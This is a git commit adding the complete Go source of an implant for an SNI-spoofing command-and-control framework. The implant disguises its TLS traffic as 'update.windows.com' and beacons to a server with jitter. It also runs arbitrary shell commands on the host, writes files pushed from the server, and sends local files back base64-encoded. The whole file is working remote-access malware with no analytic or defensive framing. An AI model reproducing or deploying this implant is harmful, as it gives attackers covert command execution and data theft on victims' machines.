Upload files to "c2s_sni_spoof/cmd /client"

This commit is contained in:
ek0ms savi0r 2026-06-02 03:05:52 +00:00
parent c2619aa235
commit 534d8b9e03

View File

@ -0,0 +1,366 @@
// Command client is the implant side of the SNI-spoofing C2.
//
// It connects to the C2 server using TLS with a spoofed SNI field
// (e.g. "update.windows.com"), beacons periodically, receives commands,
// executes them, and sends back results.
package main
import (
"crypto/tls"
"encoding/base64"
"encoding/json"
"flag"
"fmt"
"math/rand"
"net"
"os"
"os/exec"
"os/signal"
"runtime"
"sync/atomic"
"syscall"
"time"
tlsutil "github.com/openclaw/c2-sni-spoof/pkg/tls"
)
// ---------- Message types (match server) ----------
type Beacon struct {
Type string `json:"type"`
Hostname string `json:"hostname"`
PID int `json:"pid"`
BeaconID int64 `json:"beacon_id"`
SNI string `json:"sni,omitempty"`
}
type Command struct {
Type string `json:"type"`
Payload string `json:"payload,omitempty"`
Filename string `json:"filename,omitempty"`
Data string `json:"data,omitempty"`
BeaconSec int `json:"beacon_sec,omitempty"`
ID int64 `json:"id,omitempty"`
}
type Result struct {
Type string `json:"type"`
Command int64 `json:"command_id"`
Output string `json:"output,omitempty"`
Data string `json:"data,omitempty"`
Error string `json:"error,omitempty"`
}
// ---------- Implant state ----------
type Implant struct {
serverAddr string
sniDomain string
caFile string
hostname string
pid int
beaconSec int64 // atomic for safe concurrent access
beaconID int64
conn net.Conn
enc *json.Encoder
dec *json.Decoder
}
func NewImplant(serverAddr, sniDomain, caFile string, beaconSec int) *Implant {
hostname, _ := os.Hostname()
if hostname == "" {
hostname = "unknown"
}
return &Implant{
serverAddr: serverAddr,
sniDomain: sniDomain,
caFile: caFile,
hostname: hostname,
pid: os.Getpid(),
beaconSec: int64(beaconSec),
}
}
// ---------- Connection management ----------
func (imp *Implant) connect() error {
tlsCfg, err := tlsutil.ClientTLSConfig(imp.sniDomain, imp.caFile)
if err != nil {
return fmt.Errorf("TLS config: %w", err)
}
conn, err := tls.Dial("tcp", imp.serverAddr, tlsCfg)
if err != nil {
return fmt.Errorf("TLS dial: %w", err)
}
imp.conn = conn
imp.enc = json.NewEncoder(conn)
imp.dec = json.NewDecoder(conn)
return nil
}
func (imp *Implant) close() {
if imp.conn != nil {
imp.conn.Close()
imp.conn = nil
}
}
// ---------- Main beacon loop ----------
func (imp *Implant) run() error {
if err := imp.connect(); err != nil {
return err
}
defer imp.close()
fmt.Fprintf(os.Stderr, "[*] implant connected to %s (SNI: %s)\n",
imp.serverAddr, imp.sniDomain)
for {
// Build beacon.
bid := atomic.AddInt64(&imp.beaconID, 1)
beacon := Beacon{
Type: "beacon",
Hostname: imp.hostname,
PID: imp.pid,
BeaconID: bid,
SNI: imp.sniDomain,
}
// Send beacon.
if err := imp.enc.Encode(beacon); err != nil {
return fmt.Errorf("send beacon: %w", err)
}
// Receive command.
var cmd Command
if err := imp.dec.Decode(&cmd); err != nil {
return fmt.Errorf("recv command: %w", err)
}
// Process command (noop and ping don't produce a result).
switch cmd.Type {
case "noop":
// nothing to do
case "ping":
// nothing to do, just continue
case "exec":
res := imp.handleExec(cmd)
if err := imp.enc.Encode(res); err != nil {
return fmt.Errorf("send result: %w", err)
}
case "upload":
res := imp.handleUpload(cmd)
if err := imp.enc.Encode(res); err != nil {
return fmt.Errorf("send result: %w", err)
}
case "download":
res := imp.handleDownload(cmd)
if err := imp.enc.Encode(res); err != nil {
return fmt.Errorf("send result: %w", err)
}
case "beacon":
if cmd.BeaconSec > 0 {
atomic.StoreInt64(&imp.beaconSec, int64(cmd.BeaconSec))
res := Result{
Type: "result",
Command: cmd.ID,
Output: fmt.Sprintf("beacon interval changed to %ds", cmd.BeaconSec),
}
if err := imp.enc.Encode(res); err != nil {
return fmt.Errorf("send result: %w", err)
}
}
default:
res := Result{
Type: "error",
Command: cmd.ID,
Error: fmt.Sprintf("unknown command type: %s", cmd.Type),
}
imp.enc.Encode(res)
}
// Sleep for beacon interval, with ±20% jitter.
sec := atomic.LoadInt64(&imp.beaconSec)
baseSleep := time.Duration(sec) * time.Second
jitterMax := baseSleep / 5
jitter := time.Duration(rand.Int63n(int64(jitterMax)))
if rand.Int63n(2) == 0 {
time.Sleep(baseSleep + jitter)
} else {
time.Sleep(baseSleep - jitter)
}
}
}
// ---------- Command handlers ----------
func (imp *Implant) handleExec(cmd Command) Result {
// Determine shell based on OS.
shell, shellFlag := "/bin/sh", "-c"
if runtime.GOOS == "windows" {
shell, shellFlag = "cmd.exe", "/C"
}
execCmd := exec.Command(shell, shellFlag, cmd.Payload)
output, err := execCmd.CombinedOutput()
if err != nil {
return Result{
Type: "result",
Command: cmd.ID,
Output: string(output),
Error: err.Error(),
}
}
return Result{
Type: "result",
Command: cmd.ID,
Output: string(output),
}
}
func (imp *Implant) handleUpload(cmd Command) Result {
if cmd.Filename == "" || cmd.Data == "" {
return Result{
Type: "error",
Command: cmd.ID,
Error: "missing filename or data",
}
}
data, err := base64.StdEncoding.DecodeString(cmd.Data)
if err != nil {
return Result{
Type: "error",
Command: cmd.ID,
Error: fmt.Sprintf("base64 decode: %v", err),
}
}
if err := os.WriteFile(cmd.Filename, data, 0644); err != nil {
return Result{
Type: "error",
Command: cmd.ID,
Error: fmt.Sprintf("write file: %v", err),
}
}
return Result{
Type: "result",
Command: cmd.ID,
Output: fmt.Sprintf("uploaded %d bytes to %s", len(data), cmd.Filename),
}
}
func (imp *Implant) handleDownload(cmd Command) Result {
if cmd.Filename == "" {
return Result{
Type: "error",
Command: cmd.ID,
Error: "missing filename",
}
}
data, err := os.ReadFile(cmd.Filename)
if err != nil {
return Result{
Type: "error",
Command: cmd.ID,
Error: fmt.Sprintf("read file: %v", err),
}
}
return Result{
Type: "result",
Command: cmd.ID,
Output: fmt.Sprintf("downloaded %d bytes from %s", len(data), cmd.Filename),
Data: base64.StdEncoding.EncodeToString(data),
}
}
// ---------- Reconnect loop with exponential backoff ----------
func (imp *Implant) runWithReconnect() {
maxBackoff := 5 * time.Minute
backoff := 1 * time.Second
for {
err := imp.run()
if err != nil {
fmt.Fprintf(os.Stderr, "[!] connection lost: %v\n", err)
fmt.Fprintf(os.Stderr, "[*] reconnecting in %v\n", backoff)
}
// Wait with backoff, respect interrupt.
sleepTimer := time.NewTimer(backoff)
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
select {
case <-sigCh:
sleepTimer.Stop()
signal.Stop(sigCh)
fmt.Println("\n[*] implant shutting down…")
return
case <-sleepTimer.C:
}
signal.Stop(sigCh)
// Exponential backoff with cap.
backoff *= 2
if backoff > maxBackoff {
backoff = maxBackoff
}
// Add jitter (±25%).
jitter := time.Duration(rand.Int63n(int64(backoff) / 4))
if rand.Int63n(2) == 0 {
backoff += jitter
} else {
backoff -= jitter
if backoff < time.Second {
backoff = time.Second
}
}
}
}
// ---------- main ----------
func main() {
serverAddr := flag.String("c2", "", "C2 server address (host:port)")
sniDomain := flag.String("sni", "update.windows.com", "SNI domain to spoof")
caFile := flag.String("ca", "ca.crt", "CA certificate file for TLS verification")
beaconSec := flag.Int("beacon", 10, "beacon interval in seconds")
flag.Parse()
if *serverAddr == "" {
fmt.Fprintln(os.Stderr, "error: -c2 flag is required (e.g. -c2 192.168.1.100:8443)")
flag.Usage()
os.Exit(1)
}
fmt.Fprintf(os.Stderr, "[*] SNI Spoof Implant starting\n")
fmt.Fprintf(os.Stderr, "[*] C2: %s SNI: %s Beacon: %ds\n",
*serverAddr, *sniDomain, *beaconSec)
h, _ := os.Hostname()
fmt.Fprintf(os.Stderr, "[*] Hostname: %s PID: %d OS: %s\n", h, os.Getpid(), runtime.GOOS)
imp := NewImplant(*serverAddr, *sniDomain, *caFile, *beaconSec)
// Handle interrupt for graceful shutdown.
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
go func() {
<-sigCh
fmt.Fprintln(os.Stderr, "\n[*] shutting down…")
imp.close()
os.Exit(0)
}()
imp.runWithReconnect()
}